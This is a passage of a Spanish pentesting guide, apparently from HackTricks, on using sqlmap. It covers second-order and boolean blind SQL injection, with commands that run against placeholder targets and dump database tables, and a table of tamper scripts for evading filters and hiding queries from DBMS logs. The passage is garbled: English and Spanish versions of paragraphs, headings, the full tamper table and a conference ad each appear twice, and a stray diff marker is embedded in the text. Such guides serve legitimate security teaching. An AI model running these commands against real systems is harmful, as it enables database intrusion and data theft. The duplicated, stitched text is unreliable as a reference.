2. Determinar cómo se utiliza posteriormente los datos almacenados en una consulta SQL.
3. Crear una carga útil maliciosa que, cuando se ejecuta en la consulta SQL vulnerable, puede manipular los datos almacenados de una manera que logre los objetivos del atacante.
To detect and exploit second order injection vulnerabilities, tools like SQLMap can be used. SQLMap is a popular open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities.
Para detectar y explotar vulnerabilidades de inyección de segundo orden, se pueden utilizar herramientas como SQLMap. SQLMap es una popular herramienta de prueba de penetración de código abierto que automatiza el proceso de detección y explotación de vulnerabilidades de inyección SQL.
It is important for developers and security professionals to be aware of second order injection vulnerabilities and take appropriate measures to prevent them. This includes validating and sanitizing user input, using parameterized queries or prepared statements, and regularly updating and patching software to address any known vulnerabilities.
Es importante que los desarrolladores y profesionales de seguridad estén conscientes de las vulnerabilidades de inyección de segundo orden y tomen medidas apropiadas para prevenirlas. Esto incluye validar y sanitizar la entrada del usuario, utilizar consultas parametrizadas o declaraciones preparadas, y actualizar y parchar regularmente el software para abordar cualquier vulnerabilidad conocida.
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
[**Lee este post**](second-order-injection-sqlmap.md)** sobre cómo realizar inyecciones de segundo orden simples y complejas con sqlmap.**
[**Lee esta publicación**](second-order-injection-sqlmap.md)**sobre cómo realizar inyecciones de segundo orden simples y complejas con sqlmap.**
<figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
## Laboratorios para practicar
[**DragonJAR Security Conference**](https://www.dragonjarcon.org/) **es un evento internacional de ciberseguridad con más de una década de experiencia que se llevará a cabo el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\
¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!:
* Aprende sobre sqlmap usándolo en la **sala THM**:
{% embed url="https://www.dragonjarcon.org/" %}
{% embed url="https://tryhackme.com/room/sqlmap" %}
## Personalización de la inyección
## Personalizando la inyección
### Establecer un sufijo
```bash
@ -152,62 +312,100 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
### Ayuda para encontrar inyección booleana
Si sospechas que un sitio web es vulnerable a una inyección SQL booleana, puedes utilizar la herramienta `sqlmap` para ayudarte en el proceso de pentesting. `sqlmap` es una herramienta de código abierto que automatiza la detección y explotación de vulnerabilidades de inyección SQL.
Para encontrar una inyección booleana, sigue estos pasos:
1. Ejecuta `sqlmap` en tu terminal y especifica la URL del sitio web objetivo.
```bash
sqlmap -u <URL>
```
2. Si el sitio web es vulnerable a la inyección SQL booleana, `sqlmap` lo detectará automáticamente y te mostrará un mensaje indicando que se encontró una vulnerabilidad.
3. Para confirmar la vulnerabilidad, `sqlmap` puede realizar una serie de pruebas utilizando técnicas de inyección booleana. Puedes utilizar la opción `--technique=B` para especificar que solo se utilicen técnicas booleanas.
```bash
sqlmap -u <URL> --technique=B
```
4. `sqlmap` intentará extraer información de la base de datos utilizando inyección booleana. Puedes utilizar la opción `--dump` para extraer los datos de las tablas de la base de datos.
```bash
sqlmap -u <URL> --technique=B --dump
```
Recuerda que siempre debes obtener permiso del propietario del sitio web antes de realizar cualquier prueba de penetración.
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Tamper
### Manipulación
Recuerda que **puedes crear tu propio tamper en Python** y es muy sencillo. Puedes encontrar un ejemplo de tamper en la [página de Inyección de Segundo Orden aquí](second-order-injection-sqlmap.md).
Recuerda que **puedes crear tu propia manipulación en python** y es muy sencillo. Puedes encontrar un ejemplo de manipulación en la [página de Inyección de Segundo Orden aquí](second-order-injection-sqlmap.md).
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Descripción |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Reemplaza el carácter de apóstrofe con su contraparte de ancho completo UTF-8. |
| apostrophenullencode.py | Reemplaza el carácter de apóstrofe con su contraparte de doble unicode ilegal. |
| appendnullbyte.py | Agrega un carácter de byte NULL codificado al final de la carga útil. |
| base64encode.py | Codifica en Base64 todos los caracteres en una carga útil dada. |
| between.py | Reemplaza el operador mayor que ('>') con 'NOT BETWEEN 0 AND #'. |
| bluecoat.py | Reemplaza el carácter de espacio después de la declaración SQL con un carácter en blanco aleatorio válido. Luego reemplaza el carácter '=' con el operador LIKE. |
| chardoubleencode.py | Codifica dos veces en URL todos los caracteres en una carga útil dada (sin procesar los ya codificados). |
| commalesslimit.py | Reemplaza instancias como 'LIMIT M, N' con 'LIMIT N OFFSET M'. |
| commalessmid.py | Reemplaza instancias como 'MID(A, B, C)' con 'MID(A FROM B FOR C)'. |
| concat2concatws.py | Reemplaza instancias como 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'. |
| charencode.py | Codifica en URL todos los caracteres en una carga útil dada (sin procesar los ya codificados). |
| charunicodeencode.py | Codifica en Unicode-URL los caracteres no codificados en una carga útil dada (sin procesar los ya codificados). "%u0022". |
| charunicodeescape.py | Codifica en Unicode-URL los caracteres no codificados en una carga útil dada (sin procesar los ya codificados). "\u0022". |
| equaltolike.py | Reemplaza todas las ocurrencias del operador igual ('=') con el operador 'LIKE'. |
| escapequotes.py | Escapa las comillas (' y "). |
| greatest.py | Reemplaza el operador mayor que ('>') con su contraparte 'GREATEST'. |
| halfversionedmorekeywords.py | Agrega un comentario versionado de MySQL antes de cada palabra clave. |
| ifnull2ifisnull.py | Reemplaza instancias como 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)'. |
| modsecurityversioned.py | Abraza la consulta completa con un comentario versionado. |
| modsecurityzeroversioned.py | Abraza la consulta completa con un comentario de versión cero. |
| multiplespaces.py | Agrega varios espacios alrededor de las palabras clave de SQL. |
| nonrecursivereplacement.py | Reemplaza las palabras clave SQL predefinidas con representaciones adecuadas para su reemplazo (por ejemplo, .replace("SELECT", "")) filtros. |
| percentage.py | Agrega un signo de porcentaje ('%') delante de cada carácter. |
| overlongutf8.py | Convierte todos los caracteres en una carga útil dada (sin procesar los ya codificados). |
| randomcase.py | Reemplaza cada carácter de palabra clave con un valor de caso aleatorio. |
| randomcomments.py | Agrega comentarios aleatorios a las palabras clave de SQL. |
| securesphere.py | Agrega una cadena especial diseñada. |
| sp\_password.py | Agrega 'sp\_password' al final de la carga útil para la obfuscación automática de los registros de DBMS. |
| space2comment.py | Reemplaza el carácter de espacio (' ') con comentarios. |
| space2dash.py | Reemplaza el carácter de espacio (' ') con un comentario de guión ('--') seguido de una cadena aleatoria y una nueva línea ('\n'). |
| space2hash.py | Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de una cadena aleatoria y una nueva línea ('\n'). |
| space2morehash.py | Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de una cadena aleatoria y una nueva línea ('\n'). |
| space2mssqlblank.py | Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos. |
| space2mssqlhash.py | Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de una nueva línea ('\n'). |
| space2mysqlblank.py | Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos. |
| space2mysqldash.py | Reemplaza el carácter de espacio (' ') con un comentario de guión ('--') seguido de una nueva línea ('\n'). |
| space2plus.py | Reemplaza el carácter de espacio (' ') con un signo más ('+'). |
| space2randomblank.py | Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos. |
| symboliclogical.py | Reemplaza los operadores lógicos AND y OR con sus contrapartes simbólicas (&& y \|\|). |
| unionalltounion.py | Reemplaza UNION ALL SELECT con UNION SELECT. |
| unmagicquotes.py | Reemplaza el carácter de comilla (') con una combinación multibyte %bf%27 junto con un comentario genérico al final (para que funcione). |
| uppercase.py | Reemplaza cada carácter de palabra clave con un valor en mayúscula 'INSERT'. |
| varnish.py | Agrega un encabezado HTTP 'X-originating-IP'. |
| versionedkeywords.py | Encierra cada palabra clave no funcional con un comentario versionado de MySQL. |
| versionedmorekeywords.py | Encierra cada palabra clave con un comentario versionado de MySQL. |
| xforwardedfor.py | Agrega un encabezado HTTP falso 'X-Forwarded-For'. |
| apostrophemask.py | Reemplaza el carácter de apóstrofe con su contraparte de ancho completo en UTF-8 |
| apostrophenullencode.py | Reemplaza el carácter de apóstrofe con su contraparte de doble unicode ilegal |
| appendnullbyte.py | Agrega un carácter de byte NULL codificado al final de la carga útil |
| base64encode.py | Codifica en Base64 todos los caracteres de una carga útil dada |
| between.py | Reemplaza el operador mayor que ('>') con 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Reemplaza el carácter de espacio después de la declaración SQL con un carácter en blanco aleatorio válido. Luego reemplaza el carácter = con el operador LIKE |
| chardoubleencode.py | Codifica en doble URL todos los caracteres de una carga útil dada (sin procesar los ya codificados) |
| commalesslimit.py | Reemplaza instancias como 'LIMIT M, N' con 'LIMIT N OFFSET M' |
| commalessmid.py | Reemplaza instancias como 'MID(A, B, C)' con 'MID(A FROM B FOR C)' |
| concat2concatws.py | Reemplaza instancias como 'CONCAT(A, B)' con 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Codifica en URL todos los caracteres de una carga útil dada (sin procesar los ya codificados) |
| charunicodeencode.py | Codifica en Unicode-URL los caracteres no codificados de una carga útil dada (sin procesar los ya codificados). "%u0022" |
| charunicodeescape.py | Codifica en Unicode-URL los caracteres no codificados de una carga útil dada (sin procesar los ya codificados). "\u0022" |
| equaltolike.py | Reemplaza todas las ocurrencias del operador igual ('=') con el operador 'LIKE' |
| escapequotes.py | Escapa las comillas (' y ") con una barra diagonal |
| greatest.py | Reemplaza el operador mayor que ('>') con su contraparte 'GREATEST' |
| halfversionedmorekeywords.py | Agrega un comentario versionado de MySQL antes de cada palabra clave |
| ifnull2ifisnull.py | Reemplaza instancias como 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Envuelve la consulta completa con un comentario versionado |
| modsecurityzeroversioned.py | Envuelve la consulta completa con un comentario de versión cero |
| multiplespaces.py | Agrega varios espacios alrededor de las palabras clave de SQL |
| nonrecursivereplacement.py | Reemplaza las palabras clave de SQL predefinidas con representaciones adecuadas para su reemplazo (por ejemplo, .replace("SELECT", "")) filters |
| percentage.py | Agrega un signo de porcentaje ('%') delante de cada carácter |
| overlongutf8.py | Convierte todos los caracteres de una carga útil dada (sin procesar los ya codificados) |
| randomcase.py | Reemplaza cada carácter de palabra clave con un valor de caso aleatorio |
| randomcomments.py | Agrega comentarios aleatorios a las palabras clave de SQL |
| securesphere.py | Agrega una cadena especial diseñada |
| sp\_password.py | Agrega 'sp\_password' al final de la carga útil para la obfuscación automática de los registros del DBMS |
| space2comment.py | Reemplaza el carácter de espacio (' ') con comentarios |
| space2dash.py | Reemplaza el carácter de espacio (' ') con un comentario de guión ('--') seguido de una cadena aleatoria y un salto de línea ('\n') |
| space2hash.py | Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de una cadena aleatoria y un salto de línea ('\n') |
| space2morehash.py | Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de una cadena aleatoria y un salto de línea ('\n') |
| space2mssqlblank.py | Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
| space2mssqlhash.py | Reemplaza el carácter de espacio (' ') con un carácter de almohadilla ('#') seguido de un salto de línea ('\n') |
| space2mysqlblank.py | Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
| space2mysqldash.py | Reemplaza el carácter de espacio (' ') con un comentario de guión ('--') seguido de un salto de línea ('\n') |
| space2plus.py | Reemplaza el carácter de espacio (' ') con un signo más ('+') |
| space2randomblank.py | Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
| symboliclogical.py | Reemplaza los operadores lógicos AND y OR con sus contrapartes simbólicas (&& y |
| unionalltounion.py | Reemplaza UNION ALL SELECT con UNION SELECT |
| unmagicquotes.py | Reemplaza el carácter de comilla (') con una combinación de varios bytes %bf%27 junto con un comentario genérico al final (para que funcione) |
| uppercase.py | Reemplaza cada carácter de palabra clave con el valor en mayúscula 'INSERT' |
| varnish.py | Agrega una cabecera HTTP 'X-originating-IP' |
| versionedkeywords.py | Encierra cada palabra clave no funcional con un comentario versionado de MySQL |
| versionedmorekeywords.py | Encierra cada palabra clave con un comentario versionado de MySQL |
| xforwardedfor.py | Agrega una cabecera HTTP falsa 'X-Forwarded-For' |
<figure><img src="../../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR Security Conference**](https://www.dragonjarcon.org/) es un evento internacional de ciberseguridad con más de una década de experiencia que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español y atrae a hackers e investigadores de todo el mundo.\
¡Regístrate ahora en el siguiente [enlace](https://www.dragonjarcon.org/) y no te pierdas esta gran conferencia!
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).